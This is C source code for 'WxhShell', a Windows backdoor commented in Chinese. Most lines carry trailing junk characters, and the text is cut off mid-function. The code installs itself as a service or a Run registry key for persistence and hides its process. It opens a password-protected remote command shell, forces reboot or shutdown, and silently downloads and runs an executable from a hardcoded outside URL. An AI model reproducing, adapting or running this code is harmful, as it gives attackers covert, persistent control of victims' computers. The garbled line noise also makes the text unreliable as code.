    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -32P}58R  
    if(Boot(SHUTDOWN)) '")'h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `"ks0@^U  
    else { %k?/pRv$>  
    closesocket(wsh); AfO.D ?4x  
    ExitThread(0); T.z efoZ  
    } 1(T2:N(M-A  
    break; *[ 0,QEy  
    } 71E~~$  
  // 获取shell 0s//&'*Q  
  case 's': { {7oPDP  
    CmdShell(wsh); o8:9Y js  
    closesocket(wsh); #w5%^ HwO  
    ExitThread(0); tR9iFv_  
    break; ?m 5"|f\  
  } 'z}9BGR !  
  // 退出  ZaaBg  
  case 'x': { 4w9=z,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d5LBL'/o  
    CloseIt(wsh); 6v scu2  
    break; _0u=}tc  
    } JT<JS6vw#  
  // 离开 uAnL`  
  case 'q': { W!" $g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v~AshmP  
    closesocket(wsh); k t!@}QP  
    WSACleanup(); I _Lm[  
    exit(1); :/SGB3gb1t  
    break; @b 17jmq{  
        } D,p 2MBr  
  } 1jKj' 7/K  
  } {G3Ok++hc  
5ad@}7&  
  // 提示信息 _-{=Z=?6}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1+3-Z>^e  
} 3TjyKB *!  
  } dzbbFvG  
:8bq0iqsV  
  return;  \>"Zn7  
} X xwcvE  
cCZ$TH  
// shell模块句柄 gI RZkT`  
int CmdShell(SOCKET sock) 4@F8-V3q4  
{ /160pl 4  
STARTUPINFO si; EGv]K|  
ZeroMemory(&si,sizeof(si)); )!VJ\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ SA @ "  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f$}g'r zl  
PROCESS_INFORMATION ProcessInfo; KMfIp:~  
char cmdline[]="cmd"; 4Hyp]07  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p;o"i_!  
  return 0; &'PLOyWw  
} L?a4>uVY  
2\64~a^  
// 自身启动模式 RFe># o  
int StartFromService(void) Y@UW\d*'%I  
{ &09~ D8f'  
typedef struct O:,Gmft+  
{ ]o'dr r  
  DWORD ExitStatus; PQF 40g1}  
  DWORD PebBaseAddress; qD"~5vtLqQ  
  DWORD AffinityMask; V1nqEdhk  
  DWORD BasePriority; {='wGx  
  ULONG UniqueProcessId; n]w%bKc-9  
  ULONG InheritedFromUniqueProcessId; @pJ;L1sn  
}   PROCESS_BASIC_INFORMATION; X}={:T+6s  
`;R$Ji=>  
PROCNTQSIP NtQueryInformationProcess; I%[Tosud<  
4R01QSbd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fCs{%-6cP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $b^niL  
]I/* J^  
  HANDLE             hProcess;  iSX:H;  
  PROCESS_BASIC_INFORMATION pbi; 1:DA{ejS  
4Rp[>}L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }(na)B{m  
  if(NULL == hInst ) return 0; B\=T_'E&  
eln$,zK/b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [<^'}-SJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %F-yF N"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $_HyE%F#  
3S>rc0]6  
  if (!NtQueryInformationProcess) return 0; qgWsf-di=  
if1)AE-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .hf%L1N%F  
  if(!hProcess) return 0; 06pY10<>X  
pK>/c>de  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~S :8M<aB  
]5j>O^c<  
  CloseHandle(hProcess); D 7thLqA  
ei]Q<vT6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VJr~h "[  
if(hProcess==NULL) return 0; wB[ JFy"E  
mH<|.7~0  
HMODULE hMod; Yu[MNX ;G  
char procName[255]; *ZRk)  
unsigned long cbNeeded; 6khm@}}  
W8]?dL}|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =b6G' O[  
uE,T Ea9;  
  CloseHandle(hProcess); ^MhMYA  
B/~ubw  
if(strstr(procName,"services")) return 1; // 以服务启动 Gh3f^PWnc  
$b_~  
  return 0; // 注册表启动 U+ D#  
} V+|$H h8  
]P^ 3uXi  
// 主模块 9CIQRc  
int StartWxhshell(LPSTR lpCmdLine) Vd) %qw  
{ cqb6]  
  SOCKET wsl; hJ4 A5m.  
BOOL val=TRUE; u!VrMH  
  int port=0; 3][   
  struct sockaddr_in door; us:v/WTQ  
op&j4R  
  if(wscfg.ws_autoins) Install(); S!R (ae^}  
`X =[ m>  
port=atoi(lpCmdLine); s9u7zqCF  
(r<F@)J  
if(port<=0) port=wscfg.ws_port; $S/WAw,/  
!.q#X^@>L  
  WSADATA data; wv%UsfD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ph ~#{B(\  
d(Yuz#Qcrh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M|.ykA<D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %~Ymb&ugg  
  door.sin_family = AF_INET; 4!M0)Nix  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `RqV\ 6G+  
  door.sin_port = htons(port); 0V2~  
p+2%LYR u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z`dnS]q9  
closesocket(wsl); r6:nYyF$)v  
return 1; $z@nT.x5  
} m Le 70U  
jlD3SF~2  
  if(listen(wsl,2) == INVALID_SOCKET) { r)G)i;;~*  
closesocket(wsl); m&_!*3BAG  
return 1; ]7|qhAh<L  
} X5Y. o&  
  Wxhshell(wsl); b%j4W)Z  
  WSACleanup(); uy=<n5`oNG  
#D+.z)iZn  
return 0; ?/Aql_?3  
4`"Q!T_'  
} :|ytw= 3>  
l2LO,j}  
// 以NT服务方式启动 7'{Y7]+z+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fow{-cs_p  
{ t..@69  
DWORD   status = 0; HhTD/   
  DWORD   specificError = 0xfffffff; iSMVV<7  
B@vup {Kg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !ZN"(0#qz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +ldgT"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \AD|;tA\vE  
  serviceStatus.dwWin32ExitCode     = 0; (rf8"T!"  
  serviceStatus.dwServiceSpecificExitCode = 0; <$ nMqUu0  
  serviceStatus.dwCheckPoint       = 0; Wb{8WPS  
  serviceStatus.dwWaitHint       = 0; **n109R  
Q>/[*(.Wd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %BkPkQA  
  if (hServiceStatusHandle==0) return; C9`x"$  
s:sk`~2<gd  
status = GetLastError(); G^\.xk]  
  if (status!=NO_ERROR) fd1z XK#Z2  
{ pA5X<)~   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jpfFJon)w  
    serviceStatus.dwCheckPoint       = 0; 8{-bG8L> 5  
    serviceStatus.dwWaitHint       = 0; B o[aiT  
    serviceStatus.dwWin32ExitCode     = status; G4f%=Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; `]l[p+DO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {/qq*0wa  
    return; 9q<?xO  
  } pH.&OW%  
I}/-zyx>=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z&y9m@  
  serviceStatus.dwCheckPoint       = 0; /}-LaiS  
  serviceStatus.dwWaitHint       = 0; &?SU3@3|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O#b%&s"o  
} -$j|&l  
'A#l$pJp7  
// 处理NT服务事件,比如:启动、停止 |+Ub3<b[]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #xxs^Kbqa#  
{ gG46hO-M%x  
switch(fdwControl) y/Q,[Uzk\  
{ +q~dS.  
case SERVICE_CONTROL_STOP: H:L<gv(rG  
  serviceStatus.dwWin32ExitCode = 0; =q*j". <  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4p/d>DTiM  
  serviceStatus.dwCheckPoint   = 0; 4ko(bW#jL  
  serviceStatus.dwWaitHint     = 0; =a./HCF  
  { 7Dx <Sr!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C5'#0}6i  
  } ;jT@eBJ  
  return; C C`Y r  
case SERVICE_CONTROL_PAUSE: k*= #XbX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @RI\CqFHR  
  break; RD'i(szi?  
case SERVICE_CONTROL_CONTINUE: O8w|!$Q.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G9a6 $K)b  
  break; {rZ )!  
case SERVICE_CONTROL_INTERROGATE: JXF@b-c  
  break; Q>>II|~;J  
}; l=t$ XWh!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q{oppali  
} \MFjb IL  
1mz72K  
// 标准应用程序主函数 By}>h6`[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BjCg!6`XF  
{ <bgFc[Z  
6 VuMx7W1  
// 获取操作系统版本  $"x~p1P  
OsIsNt=GetOsVer(); =!|= Y@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '"Y(2grP  
CN<EgNt1kN  
  // 从命令行安装 i@#fyU)[G  
  if(strpbrk(lpCmdLine,"iI")) Install(); $"]*,=-X  
AtW<e;!0te  
  // 下载执行文件 "\M^jO  
if(wscfg.ws_downexe) { S -KHot ?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >-Q=o,cl%3  
  WinExec(wscfg.ws_filenam,SW_HIDE); A"~4|`W  
} {Zy)p%j8  
IH~[/qNk  
if(!OsIsNt) { 'nh^'i&0.  
// 如果时win9x,隐藏进程并且设置为注册表启动 :Z5Twb3h  
HideProc(); xc6A&b>jI  
StartWxhshell(lpCmdLine); 5\eM3w'd  
} ; )J\k2  
else nf9NJ_8}4H  
  if(StartFromService()) 16R0#Q/{+*  
  // 以服务方式启动 V'&`JZK6  
  StartServiceCtrlDispatcher(DispatchTable); ww$Ec  
else ua>YI  
  // 普通方式启动 _G=k^f_  
  StartWxhshell(lpCmdLine); H^C$2f  
Z`Sbq{Kx  
return 0; X[KHI1@w  
} o+^5W  
%6@->c{  
JP*VR=0k?  
dw]jF=u  
=========================================== ._IBO;*@  
hTVA^j(w  
r;c ILS|Xr  
79O'S du@  
VgyY7INx9  
<m X EX`?  
" x l4A<  
Pmj%QhOYE  
#include <stdio.h> +1=]93gP  
#include <string.h> -{rUE +  
#include <windows.h> D>efr8Qd@  
#include <winsock2.h> s'JbG&T[J  
#include <winsvc.h> j0+l-]F-  
#include <urlmon.h> E|v9khN(].  
XPQY*.l&.  
#pragma comment (lib, "Ws2_32.lib") p?XVO#  
#pragma comment (lib, "urlmon.lib") $I }k>F  
DZE@C^ 0%  
#define MAX_USER   100 // 最大客户端连接数 _?QVc0S!  
#define BUF_SOCK   200 // sock buffer #9ZHt5T=$  
#define KEY_BUFF   255 // 输入 buffer x|lX1Mh$  
}*9mNE  
#define REBOOT     0   // 重启 !{%BfZX<&  
#define SHUTDOWN   1   // 关机 I$w:qS&:  
Iu|4QE  
#define DEF_PORT   5000 // 监听端口 pDV8B/{  
A{Dy3tm=  
#define REG_LEN     16   // 注册表键长度 /@QPJ~%8Ud  
#define SVC_LEN     80   // NT服务名长度 @pkQ2OM 2  
Usz O--.C  
// 从dll定义API @[. 0,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aT"0tn^LO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^(on"3sG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !b4v}70,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~duF2m 72  
>JckN4 v  
// wxhshell配置信息 {~cM 6W]f  
struct WSCFG { :ExCGS[  
  int ws_port;         // 监听端口 NY3.?@Z  
  char ws_passstr[REG_LEN]; // 口令 "1HKD  
  int ws_autoins;       // 安装标记, 1=yes 0=no qe<aJn  
  char ws_regname[REG_LEN]; // 注册表键名 ^M6R l0  
  char ws_svcname[REG_LEN]; // 服务名 I)wc&>Lc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BH\!yxK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _-5|"oJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]CxD m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zSo(+D &[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U~1)a(Yu;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ) o`ep{<t  
g`\5!R1  
}; `b?o%5V2x  
S}/5W  
// default Wxhshell configuration !M@jW[s  
struct WSCFG wscfg={DEF_PORT, PB(I3R9  
    "xuhuanlingzhe", $QB/n63  
    1, <kOdd)X  
    "Wxhshell", PQJw"[N/YM  
    "Wxhshell", <`'T#e$  
            "WxhShell Service", A} v;uNS]  
    "Wrsky Windows CmdShell Service", )/cf%  
    "Please Input Your Password: ", [D_s`'tg  
  1, =}UcYC6l  
  "http://www.wrsky.com/wxhshell.exe", =k^ d5  
  "Wxhshell.exe" hnBX enT6  
    }; @|'$k{i  
D A_}pS"  
// 消息定义模块 c$^~7.~{Qy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '|J~2rbyr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *w$3/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]@{l<ExP  
char *msg_ws_ext="\n\rExit."; jT=fq'RK  
char *msg_ws_end="\n\rQuit."; CWY-}M  
char *msg_ws_boot="\n\rReboot..."; buKSZ  
char *msg_ws_poff="\n\rShutdown..."; ]e6$ ={  
char *msg_ws_down="\n\rSave to "; Q4ZKgcC  
@id!F<+%oD  
char *msg_ws_err="\n\rErr!"; H;{IOBo  
char *msg_ws_ok="\n\rOK!"; IN7Cpg~9%  
P"f4`q  
char ExeFile[MAX_PATH]; #Oi{7~  
int nUser = 0; w8}jmpnI  
HANDLE handles[MAX_USER]; )m_q2xV  
int OsIsNt; |'qvq/#^  
/(8"9Sfm  
SERVICE_STATUS       serviceStatus; .H 9 r_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o@sL/5,  
weC.k x   
// 函数声明 TpcJ1*t  
int Install(void); oLIgj,k{*  
int Uninstall(void); J_7#UjGA,  
int DownloadFile(char *sURL, SOCKET wsh); /tj_WO_  
int Boot(int flag); bXi(]5  
void HideProc(void); suHi sc*  
int GetOsVer(void); L@"&s#~=3  
int Wxhshell(SOCKET wsl); {uN-bl?o  
void TalkWithClient(void *cs); M$s9   
int CmdShell(SOCKET sock); EGVS8YP>h  
int StartFromService(void); LK+67Y{25  
int StartWxhshell(LPSTR lpCmdLine); IoZ _zz0  
bF'Jm*f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &} r-C97  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qs {wrem  
>|aVGY  
// 数据结构和表定义 KAg-M#  
SERVICE_TABLE_ENTRY DispatchTable[] = Fv<3VKueK[  
{ _N:GZLG  
{wscfg.ws_svcname, NTServiceMain}, UM2yv6:/  
{NULL, NULL} =[,EFkU?B  
}; MdhD "Q  
lYT_Y.%I  
// 自我安装 MY'T%_i d  
int Install(void) B?l 0u  
{ 9Ed=`c  
  char svExeFile[MAX_PATH]; x>tsI}C  
  HKEY key; @%jY  
  strcpy(svExeFile,ExeFile); c 5 `74g  
U".5x~UC  
// 如果是win9x系统,修改注册表设为自启动 W`uq,r0Xsy  
if(!OsIsNt) { ;FJFr*PM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [>KnMi=o)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CbwQbJ/v7  
  RegCloseKey(key); Pk>S;KT.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nK}-^Ur  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <%.lPO]&E  
  RegCloseKey(key); t;V^OGflv  
  return 0; KW!+Ws  
    } gx8i|]  
  } Tvt(nWn(H1  
} P9W?sPnC5  
else { t;`ULp~&  
5zOC zm  
// 如果是NT以上系统,安装为系统服务 mt~E&Z(A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E24j(>   
if (schSCManager!=0) .bUj  
{ YJ|U| [  
  SC_HANDLE schService = CreateService p8FXlTk  
  ( "}vxHN#  
  schSCManager, 4~1lP&  
  wscfg.ws_svcname, 6^lix9q7  
  wscfg.ws_svcdisp, 0?cJ>)N  
  SERVICE_ALL_ACCESS, $,B;\PX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (8~D ^N6Z  
  SERVICE_AUTO_START, a"l\_D'.K8  
  SERVICE_ERROR_NORMAL, yKy )%i  
  svExeFile, "7eL&  
  NULL, 7AlL,&+  
  NULL, qh+&Zx~  
  NULL, EQ.K+d*K][  
  NULL, -A@/cS%p  
  NULL l6zYiM  
  ); 1Tr%lO5?6  
  if (schService!=0) =RAojoN  
  { \OXQ%J2v  
  CloseServiceHandle(schService); ]( FFvqA  
  CloseServiceHandle(schSCManager); @,9YF }  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !hjF"Pa  
  strcat(svExeFile,wscfg.ws_svcname); KciN"g|X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |h&Z.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yb,X }"Et  
  RegCloseKey(key); #lO ^PK  
  return 0; [=",R&uD$  
    } `Tei  
  } p[ &b@U#  
  CloseServiceHandle(schSCManager); oJQ \?~  
} z;MPp#Y  
} D8{ ,}@  
$+PyW( r  
return 1; ?L0|$#Iw  
} X`J86G)  
P| hwLM  
// 自我卸载 *s<cgPKJ @  
int Uninstall(void) G1\F7A  
{ vCXmu_S4^>  
  HKEY key; mT #A?C2  
J~n|5* cz  
if(!OsIsNt) { !^o{}*]Pi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [jksOC)@4  
  RegDeleteValue(key,wscfg.ws_regname); 9s*QHCB0  
  RegCloseKey(key); RB6Q>3g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $N Mu  
  RegDeleteValue(key,wscfg.ws_regname); nM ?Nf}  
  RegCloseKey(key); Lz!JLiMEET  
  return 0; @|5B}%!  
  } ioEjbqD<  
} uEf=Vj}G  
} &er,Wyc(  
else { Y`(~eNX^%  
97qf3^gGd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BMqr YW  
if (schSCManager!=0) wa~zb!y<  
{ /]U;7)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (G/(w%#7_  
  if (schService!=0) R>]7l!3^1  
  { |sY  
  if(DeleteService(schService)!=0) { )0DgFA6k_  
  CloseServiceHandle(schService); q#SEtyJL  
  CloseServiceHandle(schSCManager); 3=^)=yOd  
  return 0; C"$~w3A k  
  } ;mRZ_^V;  
  CloseServiceHandle(schService); oe|8  
  } b(CO7/e>  
  CloseServiceHandle(schSCManager); xcn~KF8  
} $VB dd~f  
} g"k4Z  
"LJV}L  
return 1; _aBy>=2c$  
} u! &T}i:  
5423Ky<  
// 从指定url下载文件 \yZVn6GVr  
int DownloadFile(char *sURL, SOCKET wsh) i7Cuc+ j8  
{ 3%Eu$|B  
  HRESULT hr; :U *8S\$  
char seps[]= "/"; z&B9Yu4M7  
char *token; k14<E /  
char *file; F" M  
char myURL[MAX_PATH]; 4w#2m>.  
char myFILE[MAX_PATH]; '7/F]S0K  
N {~P}Sw  
strcpy(myURL,sURL); wGw~ F:z  
  token=strtok(myURL,seps); }+bo?~2E&  
  while(token!=NULL) tW94\3)1  
  { O9E:QN<U`*  
    file=token; LokH4A17U  
  token=strtok(NULL,seps); J3~%9MCJ  
  } RwYFBc  
?{jey_]M  
GetCurrentDirectory(MAX_PATH,myFILE); &3;"$P  
strcat(myFILE, "\\"); #oFyi @U  
strcat(myFILE, file); YM6 J:89  
  send(wsh,myFILE,strlen(myFILE),0); FRajo~H  
send(wsh,"...",3,0); )QRT/, ;c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0[M2LF!m  
  if(hr==S_OK) |Olz h63k:  
return 0; `/'p1?Z"  
else _ E-\aS{  
return 1; =.&8ghJ*M  
K *{RGE  
} [f! { -T  
bJ 2>@|3*  
// 系统电源模块 Shn=Q  
int Boot(int flag) vz>9jw:Y  
{ a!/\:4-uc  
  HANDLE hToken; c;Tp_e@  
  TOKEN_PRIVILEGES tkp; x,]x>Up  
JN4gH4ez)  
  if(OsIsNt) { _P!b0x~\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K;WQV,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ok0ZI>=,  
    tkp.PrivilegeCount = 1; |m6rF7Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]s\vc:cc?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &VA^LS@b  
if(flag==REBOOT) { 71Za!3+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pgiZA?r*<  
  return 0; 2O*At%CzW  
} 6W{Nw<  
else { 0ju-l= w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LU+SuVm  
  return 0; Bpm COA  
} WW{_D  
  } '*65j  
  else { dKCl#~LAI'  
if(flag==REBOOT) { "uT2 DY[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4v |i\V>M  
  return 0; D!! B4zt  
} yYYP;N?g4k  
else { ib#rT{e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }e/vKW fT  
  return 0; 0%%U7GFB5  
} 2>o^@4PnZ  
} nDO7  
K-)!d$$   
return 1; D_0sXIbg  
} ybqmPT'|_  
o$l8"Uv  
// win9x进程隐藏模块 =0] K(p,  
void HideProc(void) y6tqemz  
{ L.yM"  
UPr& `kaJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d~rA`!s7`  
  if ( hKernel != NULL ) .?5 ~zK  
  { 036m\7+Qj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5,s@K>9l;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (lS[a  
    FreeLibrary(hKernel); ZD'mwj+K  
  } `h'l"3l  
/g!ZU2&l  
return; K>e-IxA);0  
} #n{4f1TZ  
@s cn ?t  
// 获取操作系统版本 k{#k:  
int GetOsVer(void) v]EZYEXFL)  
{ $Wj{B@k  
  OSVERSIONINFO winfo; _AX,}9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3N- '{c6]U  
  GetVersionEx(&winfo); }T(=tfv@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~!~i_L\V  
  return 1; u&uFXOc'  
  else &g&,~Y/z;  
  return 0; KJ32L  
} Q"D  
tc[Ld#  
// 客户端句柄模块 )W p7e51  
int Wxhshell(SOCKET wsl) } % Ie  
{ PN?;\k)"  
  SOCKET wsh; COu5Tu^  
  struct sockaddr_in client; xWXLk )A  
  DWORD myID; )1B? <4  
aaCRZKr  
  while(nUser<MAX_USER) E56  
{ 6'kQ(r>  
  int nSize=sizeof(client); .O'~s/h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B!,&{[D  
  if(wsh==INVALID_SOCKET) return 1; No6-i{HZ  
XP o#qT8n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); poW%Fzj  
if(handles[nUser]==0) H=,>-eVv*  
  closesocket(wsh); xok T  
else bAH<h   
  nUser++; YcX"Z~O6j=  
  } TMY. z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X"d"a={]  
y3 b"'-%  
  return 0; m4oj1h_4  
} ]tT=jN&(  
y[85eM  
// 关闭 socket qQ^CSn98J  
void CloseIt(SOCKET wsh) =|aZNHqH  
{ `<d.I%}  
closesocket(wsh); G^nG^HTo5  
nUser--; G!sfp}qW  
ExitThread(0); ,LxZbo!  
} D C/X|f  
hvO$ f.i  
// 客户端请求句柄 ]58~b%s  
void TalkWithClient(void *cs) $Z]@N nA9N  
{ [ !#Dba#  
D!Y@Og.  
  SOCKET wsh=(SOCKET)cs; jQm~F` z  
  char pwd[SVC_LEN]; >Rt:8uurAG  
  char cmd[KEY_BUFF]; }=R0AKz!Cv  
char chr[1]; +@!\3a4!  
int i,j; fXWE4^jU  
)'f=!'X  
  while (nUser < MAX_USER) { "1^tVw|  
y*X.DS 1(w  
if(wscfg.ws_passstr) { 6>#8 ^{[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (nq""kO6'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X9|*`h<  
  //ZeroMemory(pwd,KEY_BUFF); X)hpbHa  
      i=0; 1ow,'FztPt  
  while(i<SVC_LEN) { *j]Bo,AC  
lMu9Dp  
  // 设置超时 9y&;6V.'  
  fd_set FdRead; Xw'sh#i2  
  struct timeval TimeOut; 0nCiN;sA  
  FD_ZERO(&FdRead); m-\_L=QzM  
  FD_SET(wsh,&FdRead); F*#!hWtb  
  TimeOut.tv_sec=8; 1G12FV>M  
  TimeOut.tv_usec=0; @OT$* Qh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i0wBZ i?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @d~]3T  
:Ob^b3<t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =>c0NT  
  pwd=chr[0]; GqsV 6kH  
  if(chr[0]==0xd || chr[0]==0xa) { `3ha~+Goo!  
  pwd=0; 9-{+U,3)  
  break; d9S?dx  
  } @0PWbs$  
  i++; BNjMq  
    } H.XyNtJ  
"}1cQ|0a  
  // 如果是非法用户,关闭 socket OqMdm~4B!j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /KC^x= Xv:  
} BNE:,I*&  
s?m_zJh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C4ktCN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qonStIP  
Hs8JJGXWB  
while(1) { 6c(b*o  
*rw6?u9I  
  ZeroMemory(cmd,KEY_BUFF); [Q8Wy/o Q  
H'udxPF  
      // 自动支持客户端 telnet标准   qzORv  
  j=0; Tim/7*vx  
  while(j<KEY_BUFF) { !m~r0M7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %pOxt<  
  cmd[j]=chr[0]; 9#1?Pt^{<  
  if(chr[0]==0xa || chr[0]==0xd) { ^ op0" #B  
  cmd[j]=0; HU/4K7e`  
  break; bXOM=T  
  } l$j~p=S$F  
  j++; X6Z/xb@  
    } q {   
> O?<?  
  // 下载文件 .YvIVQ  
  if(strstr(cmd,"http://")) { 5655)u.N8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XX90 Is  
  if(DownloadFile(cmd,wsh)) X,G"#j^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^4 ,LIIUj  
  else !mqIq} h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X=f%!  
  } zmD7]?|  
  else { q'y< UyT6  
J9tV|0  
